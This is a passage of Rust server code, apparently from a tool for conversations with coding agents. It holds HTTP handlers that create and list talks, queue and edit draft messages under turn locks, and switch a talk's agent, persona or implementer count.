8870 "incomplete"
8871 },
8872 total: tasks.len(),
8873 done: tasks.len() - unfinished_ids.len(),
8874 counts,
8875 unfinished_ids,
8876 }
8877}
8878
8879#[derive(Debug, Serialize)]
8881struct PersonaEntry {
8882 id: String,
8883 name: String,
8884 avatar: String,
8886}
8887
8888#[derive(Debug, Serialize)]
8890struct RosterEntry {
8891 id: String,
8892 kind: AgentKind,
8893 runnable: bool,
8895}
8896
8897async fn talks_list(
8899 State(ui): State<Arc<Ui>>,
8900 Query(q): Query<ListQuery>,
8901 headers: header::HeaderMap,
8902) -> ApiResult<Json<Vec<TalkListView>>> {
8903 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8904 let limit = q.limit.unwrap_or(50).min(50);
8905 let ids = if let Some(ids) = q.ids {
8906 ids.split(',')
8907 .filter(|id| plain_record_id(id))
8908 .take(limit)
8909 .map(str::to_owned)
8910 .collect()
8911 } else {
8912 page_ids(&ui, true, PageQuery::default())?
8913 .0
8914 .into_iter()
8915 .take(limit.min(STORE_PAGE_SIZE))
8916 .collect()
8917 };
8918 Ok(Json(talk_rows(&ui, ids, &headers)))
8919 })
8920 .await
8921}
8922
8923#[derive(Debug, Default, Deserialize)]
8928#[serde(default)]
8929struct NewTalk {
8930 agent: Option<String>,
8931 repo: Option<PathBuf>,
8932 preferred_agent: Option<serde_json::Value>,
8936 persona: Option<serde_json::Value>,
8937 implementers: Option<serde_json::Value>,
8938}
8939
8940async fn talk_post(
8943 State(ui): State<Arc<Ui>>,
8944 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8945) -> ApiResult<impl IntoResponse> {
8946 let body = match body {
8950 Ok(Json(body)) => body,
8951 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8952 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8953 };
8954 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8955 let cfg = config_for(&repo).await?;
8956 let view = blocking(move || {
8957 let preferred = talk::Preferred {
8958 agent: body
8959 .preferred_agent
8960 .as_ref()
8961 .and_then(|v| v.as_str())
8962 .map(str::to_owned),
8963 persona: body
8964 .persona
8965 .as_ref()
8966 .and_then(|v| v.as_str())
8967 .map(str::to_owned),
8968 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8969 };
8970 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8971 let thinking = ui.is_thinking(&talk.id);
8972 Ok(TalkView::new(talk, thinking, &ui))
8973 })
8974 .await?;
8975 Ok((StatusCode::CREATED, Json(view)))
8976}
8977
8978async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8980 bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
8982 let id = resolve_talk(&ui.talks, &id)?;
8983 let talk = ui.talks.get(&id)?;
8984 let thinking = ui.is_thinking_observed(&id);
8985 Ok(Json(TalkView::with_references(
8988 talk,
8989 thinking,
8990 None,
8991 &ui.home,
8992 &id_links::IdIndex::default(),
8993 )))
8994 })
8995 .await
8996}
8997
8998async fn talk_sections(
8999 State(ui): State<Arc<Ui>>,
9000 Path(id): Path<String>,
9001) -> ApiResult<Json<serde_json::Value>> {
9002 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9003 let id = resolve_talk(&ui.talks, &id)?;
9004 let talk = ui.talks.get(&id)?;
9005 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9006 let task_progress = talk_task_progress(&tasks);
9007 let tasks: Vec<_> = tasks
9008 .into_iter()
9009 .map(|task| {
9010 serde_json::json!({
9011 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9012 })
9013 })
9014 .collect();
9015 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9016 let roster: Vec<_> = cfg
9017 .as_ref()
9018 .map(|cfg| {
9019 cfg.agents
9020 .iter()
9021 .map(|a| RosterEntry {
9022 id: a.id.clone(),
9023 kind: a.kind,
9024 runnable: agent::installed(a),
9025 })
9026 .collect()
9027 })
9028 .unwrap_or_default();
9029 let specs = cfg
9030 .as_ref()
9031 .map(|cfg| cfg.talk.personas.clone())
9032 .unwrap_or_default();
9033 let personas: Vec<_> = persona::catalog(&specs)
9034 .into_iter()
9035 .map(|p| PersonaEntry {
9036 avatar: avatar_url(&ui.home, &talk.id, &p),
9037 id: p.id,
9038 name: p.name,
9039 })
9040 .collect();
9041 let active_persona = persona::find(&specs, &talk.persona)
9042 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9043 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9044 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9045 Ok(Json(serde_json::json!({
9046 "tasks": tasks, "task_progress": task_progress,
9047 "roster": roster, "personas": personas,
9048 "context": talk::context_usage(&talk, cfg.as_ref()),
9049 "context_for": talk.updated_at,
9050 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9051 "persona_name": persona_name,
9052 "persona_avatar": persona_avatar,
9053 })))
9054 })
9055 .await
9056}
9057
9058async fn talk_detail(
9060 State(ui): State<Arc<Ui>>,
9061 Path(id): Path<String>,
9062) -> ApiResult<Json<TalkDetailView>> {
9063 blocking(move || {
9064 let id = resolve_talk(&ui.talks, &id)?;
9065 let talk = ui.talks.get(&id)?;
9066 let thinking = ui.is_thinking_observed(&talk.id);
9067 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9068 let task_progress = talk_task_progress(&tasks);
9069 let tasks = tasks.into_iter().map(TaskView::from).collect();
9070 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9071 let roster = cfg
9072 .as_ref()
9073 .map(|cfg| {
9074 cfg.agents
9075 .iter()
9076 .map(|a| RosterEntry {
9077 id: a.id.clone(),
9078 kind: a.kind,
9079 runnable: agent::installed(a),
9080 })
9081 .collect()
9082 })
9083 .unwrap_or_default();
9084 let specs = cfg
9085 .as_ref()
9086 .map(|cfg| cfg.talk.personas.clone())
9087 .unwrap_or_default();
9088 let personas = persona::catalog(&specs)
9089 .into_iter()
9090 .map(|p| PersonaEntry {
9091 avatar: avatar_url(&ui.home, &talk.id, &p),
9092 id: p.id,
9093 name: p.name,
9094 })
9095 .collect();
9096 Ok(Json(TalkDetailView {
9097 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9098 tasks,
9099 task_progress,
9100 roster,
9101 personas,
9102 }))
9103 })
9104 .await
9105}
9106
9107#[derive(Debug, Default, Deserialize)]
9113#[serde(default, deny_unknown_fields)]
9114struct NewTalkTurn {
9115 reply_to: Option<talk::ReplyTarget>,
9116 text: String,
9117 attachments: Vec<String>,
9118}
9119
9120#[derive(Debug, Deserialize)]
9121#[serde(deny_unknown_fields)]
9122struct EditTalkPending {
9123 #[serde(default)]
9124 message: Option<usize>,
9125 text: String,
9126 expected_text: String,
9127 expected_attachments: Vec<String>,
9128}
9129
9130#[derive(Debug, Deserialize)]
9131#[serde(deny_unknown_fields)]
9132struct ClearTalkPending {
9133 expected_text: String,
9134 expected_attachments: Vec<String>,
9135}
9136
9137async fn talk_say(
9149 State(ui): State<Arc<Ui>>,
9150 Path(id): Path<String>,
9151 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9152) -> ApiResult<(StatusCode, Json<TalkView>)> {
9153 let admission = ui.begin_admission()?;
9154 admitted(admission, async move {
9155 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9156 if body.text.trim().is_empty() && body.attachments.is_empty() {
9157 return Err(ApiError::bad_request("say something"));
9158 }
9159
9160 let id = {
9161 let ui = Arc::clone(&ui);
9162 let asked = id.clone();
9163 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9164 };
9165 {
9169 let ui = Arc::clone(&ui);
9170 let id = id.clone();
9171 blocking(move || {
9172 let talk = ui.talks.get(&id)?;
9173 if !talk.status.open() {
9174 return Err(ApiError::conflict(format!(
9175 "talk {} is {} and takes no more turns",
9176 talk.short(),
9177 talk.status.as_str()
9178 )));
9179 }
9180 Ok(())
9181 })
9182 .await?;
9183 }
9184
9185 let attachments = {
9190 let ui = Arc::clone(&ui);
9191 let id = id.clone();
9192 let ids = body.attachments.clone();
9193 blocking(move || {
9194 ids.into_iter()
9195 .map(|att_id| {
9196 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9197 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9198 })
9199 })
9200 .collect::<ApiResult<Vec<talk::Attachment>>>()
9201 })
9202 .await?
9203 };
9204 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9205 .await.map_err(ApiError::from)?;
9206
9207 let start = {
9212 let ui = Arc::clone(&ui);
9213 let id = id.clone();
9214 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9215 };
9216 let turn_guard = match start {
9217 TalkTurnStart::Claimed(turn_guard) => turn_guard,
9218 TalkTurnStart::Pending => {
9219 return Err(ApiError::conflict(
9220 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9221 ));
9222 }
9223 TalkTurnStart::Foreign => {
9224 return Err(ApiError::conflict(
9225 "a turn is already running in another process; try again when it has finished",
9226 ));
9227 }
9228 TalkTurnStart::Busy => {
9229 let (tx, rx) = tokio::sync::oneshot::channel();
9245 tokio::spawn({
9246 let ui = Arc::clone(&ui);
9247 let id = id.clone();
9248 let said = body.text.clone();
9249 let reply_to = body.reply_to.clone();
9250 async move {
9251 let written = blocking({
9252 let ui = Arc::clone(&ui);
9253 let id = id.clone();
9254 move || {
9255 let mut talk = ui.talks.get(&id)?;
9256 #[cfg(test)]
9261 if let Some(gate) = ui
9262 .busy_queue_gate
9263 .lock()
9264 .unwrap_or_else(PoisonError::into_inner)
9265 .take()
9266 {
9267 let _ = gate.reached.send(());
9268 let _ = gate.release.recv();
9269 }
9270 if let Err(error) = talk::queue_reply(
9271 &mut talk,
9272 &ui.talks,
9273 &said,
9274 attachments,
9275 reply_to,
9276 ) {
9277 if let Ok(fresh) = ui.talks.get(&id) {
9278 if !fresh.status.open() {
9279 return Err(ApiError::conflict(format!(
9280 "talk {} is {} and takes no more turns",
9281 fresh.short(),
9282 fresh.status.as_str()
9283 )));
9284 }
9285 }
9286 return Err(
9287 if error.to_string().contains("invalid reply target") {
9288 ApiError::bad_request("invalid reply target")
9289 } else {
9290 ApiError::from(error)
9291 },
9292 );
9293 }
9294 let claim = match ui.begin_queued_talk_turn(&id)? {
9305 Some(turn_guard) => {
9306 let (cfg, _) = Config::discover(&talk.repo, None)?;
9307 Some((talk.clone(), cfg, turn_guard))
9308 }
9309 None => None,
9310 };
9311 let thinking = ui.is_thinking(&id);
9312 Ok((TalkView::new(talk, thinking, &ui), claim))
9313 }
9314 })
9315 .await;
9316 #[cfg(not(test))]
9317 {
9318 match written {
9319 Ok((view, reclaimed)) => {
9320 let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9321 drop(reclaimed);
9322 match launched {
9323 Ok(_) => { let _ = tx.send(Ok(view)); }
9324 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9325 }
9326 }
9327 Err(error) => { let _ = tx.send(Err(error)); }
9328 }
9329 }
9330 #[cfg(test)]
9331 {
9332 let (view, reclaimed) = match written {
9333 Ok(pair) => pair,
9334 Err(e) => {
9335 let _ = tx.send(Err(e));
9340 return;
9341 }
9342 };
9343 let _ = tx.send(Ok(view));
9346 if let Some((talk, cfg, turn_guard)) = reclaimed {
9347 let talks = ui.talks.clone();
9348 drain_loop(talk, talks, cfg, id, turn_guard).await;
9349 }
9350 }
9351 }
9352 });
9353 let view = rx
9354 .await
9355 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9356 return Ok((StatusCode::ACCEPTED, Json(view)));
9357 }
9358 };
9359
9360 let (talk, cfg) = {
9361 let ui = Arc::clone(&ui);
9362 let id = id.clone();
9363 blocking(move || {
9364 let talk = ui.talks.get(&id)?;
9365 let (cfg, _) = Config::discover(&talk.repo, None)?;
9366 Ok((talk, cfg))
9367 })
9368 .await?
9369 };
9370
9371 let talks = ui.talks.clone();
9372 let (tx, rx) = tokio::sync::oneshot::channel();
9387 tokio::spawn({
9388 #[cfg(test)]
9389 let ui = Arc::clone(&ui);
9390 let talks = talks.clone();
9391 let id = id.clone();
9392 let said = body.text.clone();
9393 let reply_to = body.reply_to.clone();
9394 let mut talk = talk.clone();
9395 async move {
9396 let recorded = blocking({
9397 let talks = talks.clone();
9398 move || {
9399 if let Err(error) =
9400 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9401 {
9402 if let Ok(fresh) = talks.get(&talk.id) {
9403 if !fresh.status.open() {
9404 return Err(ApiError::conflict(format!(
9405 "talk {} is {} and takes no more turns",
9406 fresh.short(),
9407 fresh.status.as_str()
9408 )));
9409 }
9410 }
9411 return Err(if error.to_string().contains("invalid reply target") {
9412 ApiError::bad_request("invalid reply target")
9413 } else {
9414 ApiError::from(error)
9415 });
9416 }
9417 Ok((said.trim().to_owned(), talk))
9423 }
9424 })
9425 .await;
9426 let (text, talk) = match recorded {
9427 Ok(pair) => pair,
9428 Err(e) => {
9429 let _ = tx.send(Err(e));
9433 return;
9434 }
9435 };
9436 #[cfg(not(test))]
9437 {
9438 let _ = (&cfg, &text);
9439 let result = crate::consult::spawn_recorded_turn(
9443 &talks, &id, talk.turns.len() - 1,
9444 ).await;
9445 drop(turn_guard);
9446 match result {
9447 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9448 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9449 }
9450 }
9451 #[cfg(test)]
9452 {
9453 let queued = talk.clone();
9454 let mut talk = talk;
9455 let thinking = ui.is_thinking(&id);
9456 let _ = tx.send(Ok((queued, thinking)));
9459
9460 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9461 tracing::warn!("talk {id} turn failed: {e:#}");
9465 }
9466 drain_loop(talk, talks, cfg, id, turn_guard).await;
9469 }
9470 }
9471 });
9472
9473 let (queued, thinking) = rx
9474 .await
9475 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9476
9477 Ok((
9479 StatusCode::ACCEPTED,
9480 Json(TalkView::new(queued, thinking, &ui)),
9481 ))
9482 }).await
9483}
9484
9485async fn talk_pending_resume(
9489 State(ui): State<Arc<Ui>>,
9490 Path(id): Path<String>,
9491) -> ApiResult<(StatusCode, Json<TalkView>)> {
9492 let admission = ui.begin_admission()?;
9493 admitted(admission, async move {
9494 let id = {
9495 let ui = Arc::clone(&ui);
9496 let asked = id.clone();
9497 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9498 };
9499 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9500 .await
9501 .map_err(ApiError::from)?;
9502 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9503 return Err(ApiError::conflict(
9504 "a talk turn is already running; the queued draft will be handled by it",
9505 ));
9506 };
9507 let (talk, cfg) = {
9508 let ui = Arc::clone(&ui);
9509 let id = id.clone();
9510 blocking(move || {
9511 let talk = ui.talks.get(&id)?;
9512 if !talk.status.open() {
9513 return Err(ApiError::conflict(format!(
9514 "talk {} is {} and takes no more turns",
9515 talk.short(),
9516 talk.status.as_str()
9517 )));
9518 }
9519 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9520 return Err(ApiError::conflict("there is no queued draft to resume"));
9521 }
9522 let (cfg, _) = Config::discover(&talk.repo, None)?;
9523 Ok((talk, cfg))
9524 })
9525 .await?
9526 };
9527 let view = TalkView::new(talk.clone(), true, &ui);
9528 let talks = ui.talks.clone();
9529 #[cfg(not(test))]
9530 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9531 #[cfg(test)]
9532 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9533 Ok((StatusCode::ACCEPTED, Json(view)))
9534 })
9535 .await
9536}
9537
9538#[cfg(not(test))]
9541async fn detach_talk_turn(
9542 _talk: Talk,
9543 talks: Talks,
9544 _cfg: Config,
9545 id: String,
9546 turn: TalkTurnGuard,
9547) -> ApiResult<()> {
9548 let launched = crate::consult::spawn_turn(&talks, &id).await;
9549 drop(turn);
9550 launched.map(|_| ()).map_err(ApiError::from)
9551}
9552
9553#[cfg(test)]
9554async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9555 drain_loop_started(talk, talks, cfg, id, turn, None).await;
9556}
9557
9558async fn settle_settings_turn(
9562 talk: Talk,
9563 talks: Talks,
9564 cfg: Config,
9565 id: String,
9566 turn: TalkTurnGuard,
9567 observed: u64,
9568) -> bool {
9569 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9570 let turns = Arc::clone(&turn.turns);
9571 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9572 if live.queued.get(&id).copied().unwrap_or(0) == observed {
9573 turn.release(&mut live);
9575 return false;
9576 }
9577 }
9578 let (started, settled) = tokio::sync::oneshot::channel();
9579 tokio::spawn(drain_loop_started(
9580 talk,
9581 talks,
9582 cfg,
9583 id,
9584 turn,
9585 Some(started),
9586 ));
9587 settled.await.unwrap_or(false)
9588}
9589
9590#[cfg(not(test))]
9591async fn drain_loop_started(
9592 talk: Talk,
9593 talks: Talks,
9594 _cfg: Config,
9595 id: String,
9596 turn: TalkTurnGuard,
9597 started: Option<tokio::sync::oneshot::Sender<bool>>,
9598) {
9599 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9600 let running = if pending {
9601 match crate::consult::spawn_turn(&talks, &id).await {
9602 Ok(_) => true,
9603 Err(error) => {
9604 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9605 false
9606 }
9607 }
9608 } else {
9609 false
9610 };
9611 drop(turn);
9612 if let Some(started) = started {
9613 let _ = started.send(running);
9614 }
9615}
9616
9617#[cfg(test)]
9620async fn drain_loop_started(
9621 mut talk: Talk,
9622 talks: Talks,
9623 cfg: Config,
9624 id: String,
9625 turn: TalkTurnGuard,
9626 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9627) {
9628 let live_set = Arc::clone(&turn.turns);
9629 let mut turn = Some(turn);
9637 loop {
9638 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9639 tracing::warn!("talk {id} lost its turn lease; not draining further");
9642 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9643 if let Some(turn) = turn.take() {
9644 turn.release(&mut live);
9645 }
9646 break;
9647 }
9648 let observed = live_set
9652 .lock()
9653 .unwrap_or_else(PoisonError::into_inner)
9654 .queued
9655 .get(&id)
9656 .copied()
9657 .unwrap_or(0);
9658 let drained = blocking({
9659 let talks = talks.clone();
9660 move || {
9661 let result = talk::drain(&mut talk, &talks);
9662 Ok((talk, result))
9663 }
9664 })
9665 .await;
9666 let (next_talk, result) = match drained {
9667 Ok(drained) => drained,
9668 Err(e) => {
9669 tracing::warn!(
9670 status = %e.status,
9671 message = %e.message,
9672 "talk {id} could not start queued-text drain"
9673 );
9674 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9675 turn.take()
9676 .expect("held for the whole loop until released here")
9677 .release(&mut live);
9678 break;
9679 }
9680 };
9681 talk = next_talk;
9682 let drained = match result {
9683 Ok(Some(drained)) => drained,
9684 Ok(None) => {
9685 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9686 if live.queued.get(&id).copied().unwrap_or(0) != observed {
9687 continue;
9688 }
9689 turn.take()
9690 .expect("held for the whole loop until released here")
9691 .release(&mut live);
9692 break;
9693 }
9694 Err(e) => {
9695 tracing::warn!("talk {id} could not drain queued text: {e:#}");
9696 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9697 turn.take()
9698 .expect("held for the whole loop until released here")
9699 .release(&mut live);
9700 break;
9701 }
9702 };
9703 if let Some(started) = started.take() {
9704 let _ = started.send(true);
9705 }
9706 let responded = match turn.as_ref() {
9707 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9708 None => Err(anyhow::anyhow!("the turn guard was released")),
9709 };
9710 if let Err(e) = responded {
9711 tracing::warn!("talk {id} turn failed: {e:#}");
9712 }
9713 }
9714 drop(turn);
9715 if let Some(started) = started {
9716 let _ = started.send(false);
9717 }
9718}
9719
9720async fn talk_pending_clear(
9722 State(ui): State<Arc<Ui>>,
9723 Path(id): Path<String>,
9724 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9725) -> ApiResult<Json<TalkView>> {
9726 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9727 blocking(move || {
9728 let id = resolve_talk(&ui.talks, &id)?;
9729 let mut talk = ui.talks.get(&id)?;
9730 if !talk.status.open() {
9731 return Err(ApiError::conflict(format!(
9732 "talk {} is {} and takes no more turns",
9733 talk.short(),
9734 talk.status.as_str()
9735 )));
9736 }
9737 if !talk::clear_pending_if_matches(
9738 &mut talk,
9739 &ui.talks,
9740 &body.expected_text,
9741 &body.expected_attachments,
9742 )? {
9743 return Err(ApiError::conflict(
9744 "queued message changed; reload it before clearing",
9745 ));
9746 }
9747 let thinking = ui.is_thinking(&talk.id);
9748 Ok(Json(TalkView::new(talk, thinking, &ui)))
9749 })
9750 .await
9751}
9752
9753async fn talk_pending_edit(
9757 State(ui): State<Arc<Ui>>,
9758 Path(id): Path<String>,
9759 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9760) -> ApiResult<Json<TalkView>> {
9761 let admission = ui.begin_admission()?;
9762 admitted(admission, async move {
9763 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9764 let id = {
9765 let ui = Arc::clone(&ui);
9766 blocking(move || resolve_talk(&ui.talks, &id)).await?
9767 };
9768 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9769 .await
9770 .map_err(ApiError::from)?;
9771 let (view, reclaimed) = blocking({
9772 let ui = Arc::clone(&ui);
9773 move || {
9774 let mut talk = ui.talks.get(&id)?;
9775 if !talk.status.open() {
9776 return Err(ApiError::conflict(format!(
9777 "talk {} is {} and takes no more turns",
9778 talk.short(),
9779 talk.status.as_str()
9780 )));
9781 }
9782 if !talk::edit_pending_message(
9783 &mut talk,
9784 &ui.talks,
9785 &body.text,
9786 &body.expected_text,
9787 &body.expected_attachments,
9788 body.message,
9789 )? {
9790 return Err(ApiError::conflict(
9791 "queued message changed; reload it before editing",
9792 ));
9793 }
9794 let claim = match ui.begin_queued_talk_turn(&id)? {
9795 Some(turn_guard) => {
9796 let (cfg, _) = Config::discover(&talk.repo, None)?;
9797 Some((talk.clone(), cfg, id.clone(), turn_guard))
9798 }
9799 None => None,
9800 };
9801 let thinking = ui.is_thinking(&id);
9802 Ok((TalkView::new(talk, thinking, &ui), claim))
9803 }
9804 })
9805 .await?;
9806 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9807 let talks = ui.talks.clone();
9808 #[cfg(not(test))]
9809 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9810 #[cfg(test)]
9811 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9812 }
9813 Ok(Json(view))
9814 })
9815 .await
9816}
9817
9818fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9820 if talk.status.open() {
9821 return Ok(());
9822 }
9823 Err(ApiError::conflict(format!(
9824 "talk {} is {} and takes no more turns",
9825 talk.short(),
9826 talk.status.as_str()
9827 )))
9828}
9829
9830#[derive(Debug, Deserialize)]
9832struct TalkAgent {
9833 agent: String,
9834}
9835
9836async fn talk_agent(
9841 State(ui): State<Arc<Ui>>,
9842 Path(id): Path<String>,
9843 Json(body): Json<TalkAgent>,
9844) -> ApiResult<Json<TalkView>> {
9845 let admission = ui.begin_admission()?;
9846 admitted(admission, async move {
9847 let id = {
9848 let ui = Arc::clone(&ui);
9849 blocking(move || resolve_talk(&ui.talks, &id)).await?
9850 };
9851 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9852 .await
9853 .map_err(ApiError::from)?;
9854 let repo = {
9855 let ui = Arc::clone(&ui);
9856 let id = id.clone();
9857 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9858 };
9859 let cfg = config_for(&repo).await?;
9860 {
9862 let ui = Arc::clone(&ui);
9863 let id = id.clone();
9864 let cfg = cfg.clone();
9865 let wanted = body.agent.clone();
9866 blocking(move || {
9867 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9868 .map_err(ApiError::bad_request_from)?;
9869 refuse_if_closed(&ui.talks.get(&id)?)
9870 })
9871 .await?;
9872 }
9873 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9874 return Err(ApiError::conflict(
9875 "a talk turn is running; change the agent once it has answered",
9876 ));
9877 };
9878 let switched = {
9879 let ui = Arc::clone(&ui);
9880 let id = id.clone();
9881 let cfg = cfg.clone();
9882 blocking(move || {
9883 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9884 .map_err(ApiError::bad_request_from)?;
9885 let mut talk = ui.talks.get(&id)?;
9886 if !talk.status.open() {
9887 return Err(ApiError::conflict(format!(
9888 "talk {} is {} and takes no more turns",
9889 talk.short(),
9890 talk.status.as_str()
9891 )));
9892 }
9893 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9894 Ok(talk)
9895 })
9896 .await
9897 };
9898 let observed = ui.queued_generation(&id);
9903 let fresh = {
9904 let ui = Arc::clone(&ui);
9905 let id = id.clone();
9906 blocking(move || Ok(ui.talks.get(&id)?)).await
9907 };
9908 let draining = match fresh {
9909 Ok(talk) => {
9910 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9911 }
9912 Err(_) => false,
9913 };
9914 let talk = switched?;
9915 Ok(Json(TalkView::new(talk, draining, &ui)))
9916 })
9917 .await
9918}
9919
9920#[derive(Debug, Deserialize)]
9922struct TalkPersona {
9923 persona: String,
9924}
9925
9926async fn talk_persona(
9930 State(ui): State<Arc<Ui>>,
9931 Path(id): Path<String>,
9932 Json(body): Json<TalkPersona>,
9933) -> ApiResult<Json<TalkView>> {
9934 let admission = ui.begin_admission()?;
9935 admitted(admission, async move {
9936 let id = {
9937 let ui = Arc::clone(&ui);
9938 blocking(move || resolve_talk(&ui.talks, &id)).await?
9939 };
9940 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9941 .await
9942 .map_err(ApiError::from)?;
9943 let repo = {
9944 let ui = Arc::clone(&ui);
9945 let id = id.clone();
9946 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9947 };
9948 let cfg = config_for(&repo).await?;
9949 {
9951 let ui = Arc::clone(&ui);
9952 let id = id.clone();
9953 let cfg = cfg.clone();
9954 let wanted = body.persona.clone();
9955 blocking(move || {
9956 if persona::find(&cfg.talk.personas, &wanted).is_none() {
9957 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9958 }
9959 refuse_if_closed(&ui.talks.get(&id)?)
9960 })
9961 .await?;
9962 }
9963 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9964 return Err(ApiError::conflict(
9965 "a talk turn is running; change the persona once it has answered",
9966 ));
9967 };
9968 let switched = {
9969 let ui = Arc::clone(&ui);
9970 let id = id.clone();
9971 let cfg = cfg.clone();
9972 blocking(move || {
9973 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9974 return Err(ApiError::bad_request(format!(
9975 "unknown persona `{}`",
9976 body.persona
9977 )));
9978 };
9979 let mut talk = ui.talks.get(&id)?;
9980 if !talk.status.open() {
9981 return Err(ApiError::conflict(format!(
9982 "talk {} is {} and takes no more turns",
9983 talk.short(),
9984 talk.status.as_str()
9985 )));
9986 }
9987 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9988 Ok(talk)
9989 })
9990 .await
9991 };
9992 let observed = ui.queued_generation(&id);
9994 let fresh = {
9995 let ui = Arc::clone(&ui);
9996 let id = id.clone();
9997 blocking(move || Ok(ui.talks.get(&id)?)).await
9998 };
9999 let draining = match fresh {
10000 Ok(talk) => {
10001 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10002 }
10003 Err(_) => false,
10004 };
10005 let talk = switched?;
10006 Ok(Json(TalkView::new(talk, draining, &ui)))
10007 })
10008 .await
10009}
10010
10011#[derive(Debug, Deserialize)]
10013struct TalkImplementers {
10014 implementers: u8,
10015}
10016
10017async fn talk_implementers(
10021 State(ui): State<Arc<Ui>>,
10022 Path(id): Path<String>,
10023 Json(body): Json<TalkImplementers>,
10024) -> ApiResult<Json<TalkView>> {
10025 let admission = ui.begin_admission()?;
10026 admitted(admission, async move {
10027 let id = {
10028 let ui = Arc::clone(&ui);
10029 blocking(move || resolve_talk(&ui.talks, &id)).await?
10030 };
10031 let _publication = crate::consult::publication_guard(&ui.talks, &id)
10032 .await
10033 .map_err(ApiError::from)?;
10034 let repo = {
10035 let ui = Arc::clone(&ui);
10036 let id = id.clone();
10037 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10038 };
10039 let cfg = config_for(&repo).await?;
10040 {
10045 let ui = Arc::clone(&ui);
10046 let id = id.clone();
10047 let cfg = cfg.clone();
10048 let wanted = body.implementers;
10049 blocking(move || {
10050 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10051 refuse_if_closed(&ui.talks.get(&id)?)
10052 })
10053 .await?;
10054 }
10055 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10056 return Err(ApiError::conflict(
10057 "a talk turn is running; change the implementers once it has answered",
10058 ));
10059 };
10060 let switched = {
10061 let ui = Arc::clone(&ui);
10062 let id = id.clone();
10063 let cfg = cfg.clone();
10064 blocking(move || {
10065 let chosen = talk::check_implementers(body.implementers, &cfg)
